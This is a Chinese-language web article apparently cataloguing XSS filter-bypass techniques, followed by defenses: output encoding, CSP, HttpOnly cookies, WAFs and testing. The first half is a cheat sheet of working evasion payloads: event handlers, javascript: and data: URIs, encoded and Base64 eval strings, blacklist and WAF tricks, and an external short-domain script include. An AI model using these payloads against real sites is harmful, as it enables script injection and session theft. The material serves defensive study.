XSS绕过方法大全及防范措施
一、XSS绕过方法大全
1. 基础绕过
标签与事件属性注入
<img src=x onerror=alert(1)> <svg/onload=alert(1)> <input onfocus="alert(1)" autofocus>
运行 HTML
利用非闭合标签(如
<script
)、事件属性(onerror
,onload
,onfocus
)或HTML5标签(如<details ontoggle>
)。
协议与伪协议绕过
<a href="javascript:alert(1)">Click</a> <iframe src="data:text/html,<script>alert(1)</script>">
运行 HTML
使用
javascript:
伪协议或data:
URI 注入脚本。
字符编码绕过
HTML实体编码:
<script>
→<script>
。Unicode/Hex编码:
alert(1)
→\u0061lert(1)
或\x61lert(1)
。URL编码:
javascript:alert(1)
→%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%31%29
。
空格与符号替换
<img/src=x%0Aonerror=alert(1)> <!-- 换行符代替空格 --> <script>alert`1`</script> <!-- 反引号代替括号 -->
运行 HTML
2. 黑名单过滤绕过
大小写混合与双写
<ScRiPt>alert(1)</ScRiPt> <scr<script>ipt>alert(1)</scr</script>ipt>
运行 HTML
通过干扰字符分割关键字(如双写
<scr<script>ipt>
)。
注释符插入
<scr<!--test-->ipt>alert(1)</script>
运行 HTML
注释符(
<!-- -->
)破坏过滤逻辑。
函数调用变形
window['al'+'ert'](1) // 字符串拼接 top.alert(1) // 通过顶层对象调用 eval("al"+"ert(1)") // 动态执行拼接代码
3. 编码与混淆技术
多层编码组合
<a href="javascript:%61%6c%65%72%74%28%31%29">Click</a> <!-- URL编码 --> <svg/onload=eval("\u0061\u006c\u0065\u0072\u0074(1)")> <!-- Unicode编码 -->
运行 HTML
混合HTML实体、URL、Unicode编码绕过检测。
Base64与动态加载
<script>eval(atob('YWxlcnQoMSk='))</script> <!-- Base64解码执行 --> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
运行 HTML
4. WAF/防火墙绕过
分块传输与超长参数
分块传输编码(Chunked Encoding)绕过正则匹配;构造超长参数触发WAF缓存限制。
混淆与非常规语法
<img/src=x%0Donerror=alert(1)> <!-- 回车符绕过 --> <script>throw '=alert\x281\x29';</script> <!-- 异常处理执行代码 -->
运行 HTML
5. DOM型XSS绕过
URL片段注入
https://example.com#<img src=x onerror=alert(1)>
利用
location.hash
或document.referrer
注入。
DOM操作滥用
document.write('<script>alert(1)</script>'); element.innerHTML = userInput; // 直接插入未编码内容
6. 高级技巧
HTML5标签与属性
<details open ontoggle=alert(1)> <video><source onerror=alert(1)>
运行 HTML
利用
<details>
,<video>
等新标签的事件属性。
CSS表达式与短域名
<div style="width: expression(alert(1))"> <!-- IE兼容性下执行 --> <script src=//aa.es> <!-- 短域名绕过长度限制 -->
运行 HTML
二、XSS防范措施
1. 输入处理
白名单过滤
仅允许特定格式的输入(如仅数字、字母)。标准化与解码
对输入进行URL解码、Unicode转义,防止多重编码绕过。
2. 输出编码
上下文敏感编码
HTML:将
<
转为<
,>
转为>
。JavaScript:使用
\uXXXX
转义或JSON.stringify()
。URL:使用
encodeURIComponent()
。
3. 内容安全策略(CSP)
限制资源加载
Content-Security-Policy: script-src 'self'; object-src 'none';
禁用内联脚本(
'unsafe-inline'
),仅允许可信域名。
Nonce/Hash机制
仅允许携带特定Nonce或Hash值的脚本执行。
4. 安全开发实践
避免危险API
禁用innerHTML
、document.write()
,改用textContent
或createElement
。框架与库防护
使用React、Vue等框架的自动编码功能,避免直接操作DOM。
5. 增强会话安全
HttpOnly与Secure Cookie
Set-Cookie: sessionId=abc123; HttpOnly; Secure
防止JavaScript窃取Cookie。
6. 综合防护
WAF部署
使用Web应用防火墙(如快快网络WAF)拦截攻击特征,支持输入验证、行为分析等功能。定期渗透测试
通过工具(如Burp Suite、XSStrike)检测漏洞,修复潜在风险。
三、总结
XSS攻击手法持续演进,防御需采取 纵深防护策略:
输入输出双保险:严格验证输入,按上下文编码输出。
CSP与安全头:限制资源加载,阻断非法脚本执行。
框架与工具链:利用现代框架的防护能力,避免低级错误。